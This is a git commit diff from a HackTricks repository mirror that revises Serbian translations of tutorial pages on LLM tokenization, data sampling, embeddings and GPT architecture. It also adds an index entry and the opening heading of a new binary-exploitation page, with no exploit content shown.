mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll
This commit is contained in:
parent
c737f2af1e
commit
29562c462f
@ -1,43 +1,43 @@
|
||||
# 1. Tokenizacija
|
||||
# 1. Tokenizing
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenizacija
|
||||
## Tokenizing
|
||||
|
||||
**Tokenizacija** je proces razbijanja podataka, kao što je tekst, na manje, upravljive delove nazvane _tokeni_. Svakom tokenu se dodeljuje jedinstveni numerički identifikator (ID). Ovo je osnovni korak u pripremi teksta za obradu od strane modela mašinskog učenja, posebno u obradi prirodnog jezika (NLP).
|
||||
**Tokenizing** je proces razbijanja podataka, kao što je tekst, na manje, upravljive delove nazvane _tokens_. Svakom tokenu se dodeljuje jedinstveni numerički identifikator (ID). Ovo je osnovni korak u pripremi teksta za obradu od strane modela mašinskog učenja, posebno u obradi prirodnog jezika (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove inicijalne faze je vrlo jednostavan: **Podelite ulaz u tokene (ids) na način koji ima smisla**.
|
||||
|
||||
### **Kako funkcioniše tokenizacija**
|
||||
### **Kako Tokenizing Funkcioniše**
|
||||
|
||||
1. **Deljenje teksta:**
|
||||
- **Osnovni tokenizator:** Jednostavan tokenizator može deliti tekst na pojedinačne reči i interpunkcijske znakove, uklanjajući razmake.
|
||||
1. **Deljenje Teksta:**
|
||||
- **Osnovni Tokenizer:** Jednostavan tokenizer može podeliti tekst na pojedinačne reči i interpunkcijske znakove, uklanjajući razmake.
|
||||
- _Primer:_\
|
||||
Tekst: `"Hello, world!"`\
|
||||
Tokeni: `["Hello", ",", "world", "!"]`
|
||||
2. **Kreiranje rečnika:**
|
||||
- Da bi se tokeni pretvorili u numeričke ID-ove, kreira se **rečnik**. Ovaj rečnik sadrži sve jedinstvene tokene (reči i simbole) i dodeljuje svakom specifičan ID.
|
||||
- **Specijalni tokeni:** Ovo su posebni simboli dodati rečniku za upravljanje različitim scenarijima:
|
||||
- `[BOS]` (Početak sekvence): Označava početak teksta.
|
||||
- `[EOS]` (Kraj sekvence): Označava kraj teksta.
|
||||
2. **Kreiranje Rečnika:**
|
||||
- Da bi se tokeni pretvorili u numeričke ID-ove, kreira se **rečnik**. Ovaj rečnik navodi sve jedinstvene tokene (reči i simbole) i dodeljuje svakom specifičan ID.
|
||||
- **Specijalni Tokeni:** Ovo su posebni simboli dodati rečniku za upravljanje raznim scenarijima:
|
||||
- `[BOS]` (Početak Sekvence): Označava početak teksta.
|
||||
- `[EOS]` (Kraj Sekvence): Označava kraj teksta.
|
||||
- `[PAD]` (Puneći): Koristi se da sve sekvence u grupi budu iste dužine.
|
||||
- `[UNK]` (Nepoznat): Predstavlja tokene koji nisu u rečniku.
|
||||
- _Primer:_\
|
||||
Ako je `"Hello"` dodeljen ID `64`, `","` je `455`, `"world"` je `78`, a `"!"` je `467`, tada:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Upravljanje nepoznatim rečima:**\
|
||||
Ako reč kao što je `"Bye"` nije u rečniku, zamenjuje se sa `[UNK]`.\
|
||||
- **Upravljanje Nepoznatim Rečima:**\
|
||||
Ako reč poput `"Bye"` nije u rečniku, zamenjuje se sa `[UNK]`.\
|
||||
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Pretpostavljajući da `[UNK]` ima ID `987`)_
|
||||
|
||||
### **Napredne metode tokenizacije**
|
||||
### **Napredne Metode Tokenizacije**
|
||||
|
||||
Dok osnovni tokenizator dobro funkcioniše za jednostavne tekstove, ima ograničenja, posebno sa velikim rečnicima i upravljanjem novim ili retkim rečima. Napredne metode tokenizacije rešavaju ove probleme razbijanjem teksta na manje podjedinice ili optimizovanjem procesa tokenizacije.
|
||||
Dok osnovni tokenizer dobro funkcioniše za jednostavne tekstove, ima ograničenja, posebno sa velikim rečnicima i upravljanjem novim ili retkim rečima. Napredne metode tokenizacije rešavaju ove probleme razbijanjem teksta na manje podjedinice ili optimizovanjem procesa tokenizacije.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Svrha:** Smanjuje veličinu rečnika i upravlja retkim ili nepoznatim rečima razbijajući ih na često korišćene parove bajtova.
|
||||
- **Kako funkcioniše:**
|
||||
- **Svrha:** Smanjuje veličinu rečnika i upravlja retkim ili nepoznatim rečima razbijajući ih na često javljene parove bajtova.
|
||||
- **Kako Funkcioniše:**
|
||||
- Počinje sa pojedinačnim karakterima kao tokenima.
|
||||
- Iterativno spaja najčešće parove tokena u jedan token.
|
||||
- Nastavlja dok se ne mogu spojiti više česti parovi.
|
||||
@ -49,10 +49,10 @@ Dok osnovni tokenizator dobro funkcioniše za jednostavne tekstove, ima ogranič
|
||||
2. **WordPiece:**
|
||||
- **Koriste:** Modeli poput BERT.
|
||||
- **Svrha:** Slično BPE, razbija reči na podrečne jedinice kako bi se upravljalo nepoznatim rečima i smanjila veličina rečnika.
|
||||
- **Kako funkcioniše:**
|
||||
- **Kako Funkcioniše:**
|
||||
- Počinje sa osnovnim rečnikom pojedinačnih karaktera.
|
||||
- Iterativno dodaje najčešći podrečni token koji maksimizira verovatnoću podataka za obuku.
|
||||
- Koristi probabilistički model da odluči koje podrečne tokene spojiti.
|
||||
- Iterativno dodaje najčešći podrečni koji maksimizira verovatnoću podataka za obuku.
|
||||
- Koristi probabilistički model da odluči koje podrečne treba spojiti.
|
||||
- **Prednosti:**
|
||||
- Balansira između upravljive veličine rečnika i efikasnog predstavljanja reči.
|
||||
- Efikasno upravlja retkim i složenim rečima.
|
||||
@ -61,17 +61,17 @@ Dok osnovni tokenizator dobro funkcioniše za jednostavne tekstove, ima ogranič
|
||||
3. **Unigram Language Model:**
|
||||
- **Koriste:** Modeli poput SentencePiece.
|
||||
- **Svrha:** Koristi probabilistički model da odredi najverovatniji skup podrečnih tokena.
|
||||
- **Kako funkcioniše:**
|
||||
- **Kako Funkcioniše:**
|
||||
- Počinje sa velikim skupom potencijalnih tokena.
|
||||
- Iterativno uklanja tokene koji najmanje poboljšavaju verovatnoću modela za obučene podatke.
|
||||
- Finalizuje rečnik gde je svaka reč predstavljena najverovatnijim podrečnim jedinicama.
|
||||
- **Prednosti:**
|
||||
- Fleksibilan i može prirodnije modelovati jezik.
|
||||
- Fleksibilan i može modelovati jezik prirodnije.
|
||||
- Često rezultira efikasnijim i kompaktnijim tokenizacijama.
|
||||
- _Primer:_\
|
||||
`"internationalization"` može biti tokenizovan u manje, smislene podrečne reči kao što su `["international", "ization"]`.
|
||||
`"internationalization"` može biti tokenizovan u manje, smislene podrečne kao `["international", "ization"]`.
|
||||
|
||||
## Primer koda
|
||||
## Code Example
|
||||
|
||||
Hajde da ovo bolje razumemo kroz primer koda sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
|
@ -1,30 +1,30 @@
|
||||
# 2. Uzorkovanje Podataka
|
||||
# 2. Uzorkovanje podataka
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## **Uzorkovanje Podataka**
|
||||
## **Uzorkovanje podataka**
|
||||
|
||||
**Uzorkovanje Podataka** je ključni proces u pripremi podataka za obuku velikih jezičkih modela (LLM) poput GPT-a. Uključuje organizovanje tekstualnih podataka u ulazne i ciljne sekvence koje model koristi da nauči kako da predviđa sledeću reč (ili token) na osnovu prethodnih reči. Pravilno uzorkovanje podataka osigurava da model efikasno hvata jezičke obrasce i zavisnosti.
|
||||
**Uzorkovanje podataka** je ključni proces u pripremi podataka za obuku velikih jezičkih modela (LLM) poput GPT-a. Uključuje organizovanje tekstualnih podataka u ulazne i ciljne sekvence koje model koristi da nauči kako da predviđa sledeću reč (ili token) na osnovu prethodnih reči. Pravilno uzorkovanje podataka osigurava da model efikasno hvata jezičke obrasce i zavisnosti.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove druge faze je vrlo jednostavan: **Uzorkujte ulazne podatke i pripremite ih za fazu obuke obično razdvajanjem skupa podataka na rečenice određene dužine i generisanjem očekivanog odgovora.**
|
||||
|
||||
### **Zašto je Uzorkovanje Podataka Važno**
|
||||
### **Zašto je uzorkovanje podataka važno**
|
||||
|
||||
LLM-ovi kao što je GPT obučeni su da generišu ili predviđaju tekst razumevanjem konteksta koji pružaju prethodne reči. Da bi se to postiglo, obučeni podaci moraju biti strukturirani na način da model može naučiti odnos između sekvenci reči i njihovih sledećih reči. Ovaj strukturirani pristup omogućava modelu da generalizuje i generiše koherentan i kontekstualno relevantan tekst.
|
||||
|
||||
### **Ključni Koncepti u Uzorkovanju Podataka**
|
||||
### **Ključni koncepti u uzorkovanju podataka**
|
||||
|
||||
1. **Tokenizacija:** Razbijanje teksta na manje jedinice nazvane tokeni (npr. reči, podreči ili karakteri).
|
||||
2. **Dužina Sekvence (max_length):** Broj tokena u svakoj ulaznoj sekvenci.
|
||||
3. **Klizni Prozor:** Metod za kreiranje preklapajućih ulaznih sekvenci pomeranjem prozora preko tokenizovanog teksta.
|
||||
2. **Dužina sekvence (max_length):** Broj tokena u svakoj ulaznoj sekvenci.
|
||||
3. **Klizni prozor:** Metoda za kreiranje preklapajućih ulaznih sekvenci pomeranjem prozora preko tokenizovanog teksta.
|
||||
4. **Korak:** Broj tokena koje klizni prozor pomera unapred da bi kreirao sledeću sekvencu.
|
||||
|
||||
### **Primer Korak po Korak**
|
||||
### **Primer korak po korak**
|
||||
|
||||
Hajde da prođemo kroz primer kako bismo ilustrovali uzorkovanje podataka.
|
||||
|
||||
**Primer Teksta**
|
||||
**Primer teksta**
|
||||
```arduino
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
|
||||
```
|
||||
@ -85,11 +85,11 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
|
||||
|
||||
**Razumevanje koraka**
|
||||
|
||||
- **Korak od 1:** Prozor se pomera napred za jedan token svaki put, što rezultira visokom preklapanju sekvenci. To može dovesti do boljeg učenja kontekstualnih odnosa, ali može povećati rizik od prekomernog prilagođavanja jer se slične tačke podataka ponavljaju.
|
||||
- **Korak od 2:** Prozor se pomera napred za dva tokena svaki put, smanjujući preklapanje. Ovo smanjuje redundanciju i računarsko opterećenje, ali može propustiti neke kontekstualne nijanse.
|
||||
- **Korak jednak max_length:** Prozor se pomera napred za celu veličinu prozora, rezultirajući u nepreklapajućim sekvencama. Ovo minimizira redundanciju podataka, ali može ograničiti sposobnost modela da uči zavisnosti između sekvenci.
|
||||
- **Korak 1:** Prozor se pomera napred za jedan token svaki put, što rezultira visokom preklapanju sekvenci. To može dovesti do boljeg učenja kontekstualnih odnosa, ali može povećati rizik od prekomernog prilagođavanja jer se slične tačke podataka ponavljaju.
|
||||
- **Korak 2:** Prozor se pomera napred za dva tokena svaki put, smanjujući preklapanje. Ovo smanjuje redundanciju i računarsko opterećenje, ali može propustiti neke kontekstualne nijanse.
|
||||
- **Korak jednak max_length:** Prozor se pomera napred za celu veličinu prozora, što rezultira nepreklapajućim sekvencama. Ovo minimizira redundanciju podataka, ali može ograničiti sposobnost modela da uči zavisnosti između sekvenci.
|
||||
|
||||
**Primer sa korakom od 2:**
|
||||
**Primer sa korakom 2:**
|
||||
|
||||
Koristeći isti tokenizovani tekst i `max_length` od 4:
|
||||
|
||||
|
@ -53,7 +53,7 @@ tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
```
|
||||
**Objašnjenje:**
|
||||
|
||||
- Svaki red odgovara tokenu u rečniku.
|
||||
- Svaki red odgovara jednom tokenu u rečniku.
|
||||
- Svaka kolona predstavlja dimenziju u vektoru ugradnje.
|
||||
- Na primer, token na indeksu `3` ima vektor ugradnje `[-0.4015, 0.9666, -1.1481]`.
|
||||
|
||||
@ -70,21 +70,21 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
**Interpretacija:**
|
||||
|
||||
- Token na indeksu `3` je predstavljen vektorom `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Ove vrednosti su parametri koji se mogu obučavati i koje će model prilagoditi tokom obuke kako bi bolje predstavio kontekst i značenje tokena.
|
||||
- Ove vrednosti su parametri koji se mogu trenirati i koje će model prilagoditi tokom obuke kako bi bolje predstavio kontekst i značenje tokena.
|
||||
|
||||
### **Kako Token Embeddings Funkcionišu Tokom Obuke**
|
||||
### **Kako Token Embedding funkcionišu tokom obuke**
|
||||
|
||||
Tokom obuke, svaki token u ulaznim podacima se konvertuje u svoj odgovarajući embedding vektor. Ovi vektori se zatim koriste u raznim proračunima unutar modela, kao što su mehanizmi pažnje i slojevi neuronskih mreža.
|
||||
|
||||
**Primer Scenarija:**
|
||||
|
||||
- **Batch Veličina:** 8 (broj uzoraka obrađenih istovremeno)
|
||||
- **Maksimalna Dužina Sekvence:** 4 (broj tokena po uzorku)
|
||||
- **Dimenzije Embedding-a:** 256
|
||||
- **Veličina serije:** 8 (broj uzoraka obrađenih simultano)
|
||||
- **Maksimalna dužina sekvence:** 4 (broj tokena po uzorku)
|
||||
- **Dimenzije embedding-a:** 256
|
||||
|
||||
**Struktura Podataka:**
|
||||
**Struktura podataka:**
|
||||
|
||||
- Svaki batch je predstavljen kao 3D tenzor sa oblikom `(batch_size, max_length, embedding_dim)`.
|
||||
- Svaka serija je predstavljena kao 3D tenzor sa oblikom `(batch_size, max_length, embedding_dim)`.
|
||||
- Za naš primer, oblik bi bio `(8, 4, 256)`.
|
||||
|
||||
**Vizualizacija:**
|
||||
@ -123,13 +123,13 @@ cssCopy codeBatch
|
||||
- Svaki token u sekvenci je predstavljen 256-dimenzionalnim vektorom.
|
||||
- Model obrađuje ove ugradnje kako bi naučio jezičke obrasce i generisao predikcije.
|
||||
|
||||
## **Pozicijske Ugradnje: Dodavanje Konteksta U Ugradnje Tokena**
|
||||
## **Pozicijske Ugradnje: Dodavanje Konteksta U Token Ugradnje**
|
||||
|
||||
Dok ugradnje tokova hvataju značenje pojedinačnih tokena, one inherentno ne kodiraju poziciju tokena unutar sekvence. Razumevanje reda tokena je ključno za razumevanje jezika. Tu dolaze u obzir **pozicijske ugradnje**.
|
||||
Dok token ugradnje hvataju značenje pojedinačnih tokena, one inherentno ne kodiraju poziciju tokena unutar sekvence. Razumevanje reda tokena je ključno za razumevanje jezika. Tu dolaze u obzir **pozicijske ugradnje**.
|
||||
|
||||
### **Zašto su potrebne pozicijske ugradnje:**
|
||||
|
||||
- **Redosled tokena je važan:** U rečenicama, značenje često zavisi od reda reči. Na primer, "Mačka je sedela na prostirci" naspram "Prostirka je sedela na mački."
|
||||
- **Redosled tokena je bitan:** U rečenicama, značenje često zavisi od reda reči. Na primer, "Mačka je sedela na prostirci" naspram "Prostirka je sedela na mački."
|
||||
- **Ograničenje ugradnje:** Bez pozicijskih informacija, model tretira tokene kao "kesu reči," ignorišući njihov redosled.
|
||||
|
||||
### **Tipovi pozicijskih ugradnji:**
|
||||
@ -145,12 +145,12 @@ Dok ugradnje tokova hvataju značenje pojedinačnih tokena, one inherentno ne ko
|
||||
|
||||
### **Kako se pozicijske ugradnje integrišu:**
|
||||
|
||||
- **Iste dimenzije:** Pozicijske ugradnje imaju istu dimenzionalnost kao ugradnje tokena.
|
||||
- **Sabiranje:** One se dodaju ugradnjama tokena, kombinujući identitet tokena sa pozicijskim informacijama bez povećanja ukupne dimenzionalnosti.
|
||||
- **Iste dimenzije:** Pozicijske ugradnje imaju istu dimenzionalnost kao token ugradnje.
|
||||
- **Sabiranje:** One se dodaju token ugradnjama, kombinujući identitet tokena sa pozicijskim informacijama bez povećanja ukupne dimenzionalnosti.
|
||||
|
||||
**Primer dodavanja pozicijskih ugradnji:**
|
||||
|
||||
Pretpostavimo da je vektor ugradnje tokena `[0.5, -0.2, 0.1]` i da je njegov pozicijski vektor ugradnje `[0.1, 0.3, -0.1]`. Kombinovana ugradnja koju koristi model bi bila:
|
||||
Pretpostavimo da je vektor token ugradnje `[0.5, -0.2, 0.1]` i njegov vektor pozicijske ugradnje je `[0.1, 0.3, -0.1]`. Kombinovana ugradnja koju koristi model bi bila:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
|
@ -7,7 +7,7 @@
|
||||
> [!TIP]
|
||||
> Cilj ove pete faze je vrlo jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
|
||||
>
|
||||
> Ova arhitektura će se koristiti i za obuku i za predikciju teksta nakon što je obučena.
|
||||
> Ova arhitektura će se koristiti za obuku i predikciju teksta nakon što je obučena.
|
||||
|
||||
Primer LLM arhitekture sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
@ -16,11 +16,11 @@ Visok nivo reprezentacije može se posmatrati u:
|
||||
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Ulaz (Tokenizovani Tekst)**: Proces počinje sa tokenizovanim tekstom, koji se konvertuje u numeričke reprezentacije.
|
||||
2. **Sloj Token Embedding i Sloj Pozicionog Embedding-a**: Tokenizovani tekst prolazi kroz **sloj token embedding-a** i **sloj pozicionog embedding-a**, koji hvata poziciju tokena u sekvenci, što je ključno za razumevanje reda reči.
|
||||
2. **Sloj Token Embedding i Sloj Pozicionog Embedding-a**: Tokenizovani tekst prolazi kroz **token embedding** sloj i **sloj pozicionog embedding-a**, koji hvata poziciju tokena u sekvenci, što je ključno za razumevanje reda reči.
|
||||
3. **Transformer Blokovi**: Model sadrži **12 transformer blokova**, svaki sa više slojeva. Ovi blokovi ponavljaju sledeću sekvencu:
|
||||
- **Maskirana Multi-Head Pažnja**: Omogućava modelu da se fokusira na različite delove ulaznog teksta odjednom.
|
||||
- **Normalizacija Slojeva**: Korak normalizacije za stabilizaciju i poboljšanje obuke.
|
||||
- **Sloj Feed Forward**: Odgovoran za obradu informacija iz sloja pažnje i pravljenje predikcija o sledećem tokenu.
|
||||
- **Feed Forward Sloj**: Odgovoran za obradu informacija iz sloja pažnje i pravljenje predikcija o sledećem tokenu.
|
||||
- **Dropout Slojevi**: Ovi slojevi sprečavaju prekomerno prilagođavanje nasumičnim isključivanjem jedinica tokom obuke.
|
||||
4. **Završni Izlazni Sloj**: Model izlazi sa **4x50,257-dimenzionalnim tenzorom**, gde **50,257** predstavlja veličinu rečnika. Svaki red u ovom tenzoru odgovara vektoru koji model koristi za predikciju sledeće reči u sekvenci.
|
||||
5. **Cilj**: Cilj je uzeti ove embedding-e i konvertovati ih nazad u tekst. Konkretno, poslednji red izlaza se koristi za generisanje sledeće reči, predstavljene kao "napred" u ovoj dijagramu.
|
||||
@ -212,14 +212,14 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
```
|
||||
#### **Svrha i Funkcionalnost**
|
||||
|
||||
- **GELU (Gaussian Error Linear Unit):** Aktivacijska funkcija koja uvodi nelinearnost u model.
|
||||
- **GELU (Gaussian Error Linear Unit):** Aktivaciona funkcija koja uvodi nelinearnost u model.
|
||||
- **Gladka Aktivacija:** Za razliku od ReLU, koja poništava negativne ulaze, GELU glatko mapira ulaze na izlaze, omogućavajući male, nenulte vrednosti za negativne ulaze.
|
||||
- **Matematička Definicija:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Cilj korišćenja ove funkcije nakon linearnih slojeva unutar FeedForward sloja je da se promeni linearni podaci u nelinearne kako bi model mogao da uči složene, nelinearne odnose.
|
||||
> Cilj korišćenja ove funkcije nakon linearnih slojeva unutar FeedForward sloja je da se promeni linearni podaci u nelinearne kako bi se omogućilo modelu da uči složene, nelinearne odnose.
|
||||
|
||||
### **FeedForward Neuronska Mreža**
|
||||
|
||||
@ -264,10 +264,10 @@ Ovo je već objašnjeno u ranijem odeljku.
|
||||
- **Ključne Komponente:**
|
||||
- **Upiti, Ključevi, Vrednosti:** Linearne projekcije ulaza, korišćene za izračunavanje ocena pažnje.
|
||||
- **Glave:** Više mehanizama pažnje koji rade paralelno (`num_heads`), svaki sa smanjenom dimenzijom (`head_dim`).
|
||||
- **Ocene Pažnje:** Izračunate kao skalarni proizvod upita i ključeva, skalirane i maskirane.
|
||||
- **Ocene Pažnje:** Izračunavaju se kao skalarni proizvod upita i ključeva, skalirane i maskirane.
|
||||
- **Maskiranje:** Primena uzročnog maskiranja kako bi se sprečilo da model obraća pažnju na buduće tokene (važan za autoregresivne modele poput GPT).
|
||||
- **Težine Pažnje:** Softmax maskiranih i skaliranih ocena pažnje.
|
||||
- **Vektor Konteksta:** Teženi zbir vrednosti, prema težinama pažnje.
|
||||
- **Kontextualni Vektor:** Težinski zbir vrednosti, prema težinama pažnje.
|
||||
- **Izlazna Projekcija:** Linearni sloj za kombinovanje izlaza svih glava.
|
||||
|
||||
> [!TIP]
|
||||
@ -293,13 +293,13 @@ return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Svrha i Funkcionalnost**
|
||||
|
||||
- **Normalizacija slojeva:** Tehnika koja se koristi za normalizaciju ulaza preko karakteristika (dimenzije ugradnje) za svaki pojedinačni primer u seriji.
|
||||
- **Layer Normalization:** Tehnika koja se koristi za normalizaciju ulaza preko karakteristika (dimenzije ugradnje) za svaki pojedinačni primer u seriji.
|
||||
- **Komponente:**
|
||||
- **`eps`:** Mala konstanta (`1e-5`) koja se dodaje varijansi kako bi se sprečila deljenje sa nulom tokom normalizacije.
|
||||
- **`scale` i `shift`:** Parametri koji se mogu učiti (`nn.Parameter`) koji omogućavaju modelu da skalira i pomera normalizovani izlaz. Inicijalizovani su na jedinice i nule, redom.
|
||||
- **Proces normalizacije:**
|
||||
- **Proces Normalizacije:**
|
||||
- **Izračunaj Srednju Vrednost (`mean`):** Izračunava srednju vrednost ulaza `x` preko dimenzije ugradnje (`dim=-1`), zadržavajući dimenziju za emitovanje (`keepdim=True`).
|
||||
- **Izračunaj Varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugradnje, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasnog estimatora (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika, a ne uzoraka.
|
||||
- **Izračunaj Varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugradnje, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasnog procenitelja (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika umesto uzoraka.
|
||||
- **Normalizuj (`norm_x`):** Oduzima srednju vrednost od `x` i deli sa kvadratnim korenom varijanse plus `eps`.
|
||||
- **Skaliraj i Pomeri:** Primena parametara `scale` i `shift` koji se mogu učiti na normalizovani izlaz.
|
||||
|
||||
@ -437,16 +437,16 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
- **Ugrađeni slojevi:**
|
||||
- **Token Ugrađivanja (`tok_emb`):** Pretvara indekse tokena u ugrađivanja. Kao podsetnik, ovo su težine date svakoj dimenziji svakog tokena u rečniku.
|
||||
- **Pozicijska Ugrađivanja (`pos_emb`):** Dodaje pozicione informacije u ugrađivanja kako bi se uhvatio redosled tokena. Kao podsetnik, ovo su težine date tokenu prema njegovoj poziciji u tekstu.
|
||||
- **Pozicijska Ugrađivanja (`pos_emb`):** Dodaje pozicijske informacije u ugrađivanja kako bi se uhvatio redosled tokena. Kao podsetnik, ovo su težine date tokenu prema njegovoj poziciji u tekstu.
|
||||
- **Dropout (`drop_emb`):** Primena na ugrađivanja za regularizaciju.
|
||||
- **Transformer Blokovi (`trf_blocks`):** Stek od `n_layers` transformer blokova za obradu ugrađivanja.
|
||||
- **Finalna Normalizacija (`final_norm`):** Normalizacija sloja pre izlaznog sloja.
|
||||
- **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene stanje na veličinu rečnika kako bi proizveo logite za predikciju.
|
||||
- **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene stanja na veličinu rečnika kako bi proizveo logite za predikciju.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove klase je da koristi sve druge pomenute mreže da **predvidi sledeći token u sekvenci**, što je fundamentalno za zadatke poput generisanja teksta.
|
||||
> Cilj ove klase je da koristi sve ostale pomenute mreže da **predvidi sledeći token u sekvenci**, što je fundamentalno za zadatke poput generisanja teksta.
|
||||
>
|
||||
> Obratite pažnju kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa više glava, jednu mrežu za unapred i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
|
||||
> Obratite pažnju kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa više glava, jednu mrežu za unapređenje i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
|
||||
>
|
||||
> Štaviše, **normalizacija** sloj se dodaje **pre** **izlaza** i konačni linearni sloj se primenjuje na kraju kako bi se dobili rezultati sa odgovarajućim dimenzijama. Obratite pažnju kako svaki konačni vektor ima veličinu korišćenog rečnika. To je zato što pokušava da dobije verovatnoću po mogućem tokenu unutar rečnika.
|
||||
|
||||
@ -572,16 +572,16 @@ layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Ukupni parametri za sve transformator blokove**
|
||||
**Ukupno parametara za sve Transformer blokove**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Final Layers**
|
||||
#### **3. Završni slojevi**
|
||||
|
||||
**a. Final Layer Normalization**
|
||||
**a. Normalizacija završnog sloja**
|
||||
|
||||
- **Parameters:** `2 * emb_dim` (skala i pomeraj)
|
||||
- **Parametri:** `2 * emb_dim` (skala i pomeranje)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
@ -610,7 +610,7 @@ total_params = 163,009,536
|
||||
```
|
||||
## Generiši tekst
|
||||
|
||||
Imajući model koji predviđa sledeći token kao prethodni, potrebno je uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
|
||||
Imajući model koji predviđa sledeći token kao prethodni, potrebno je samo uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
|
||||
|
||||
Kod sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
|
@ -795,6 +795,7 @@
|
||||
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
|
||||
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
|
||||
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
|
||||
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
|
@ -0,0 +1,53 @@
|
||||
# WWW2Exec - sips ICC profil vanrednog pisanja (CVE-2024-44236)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
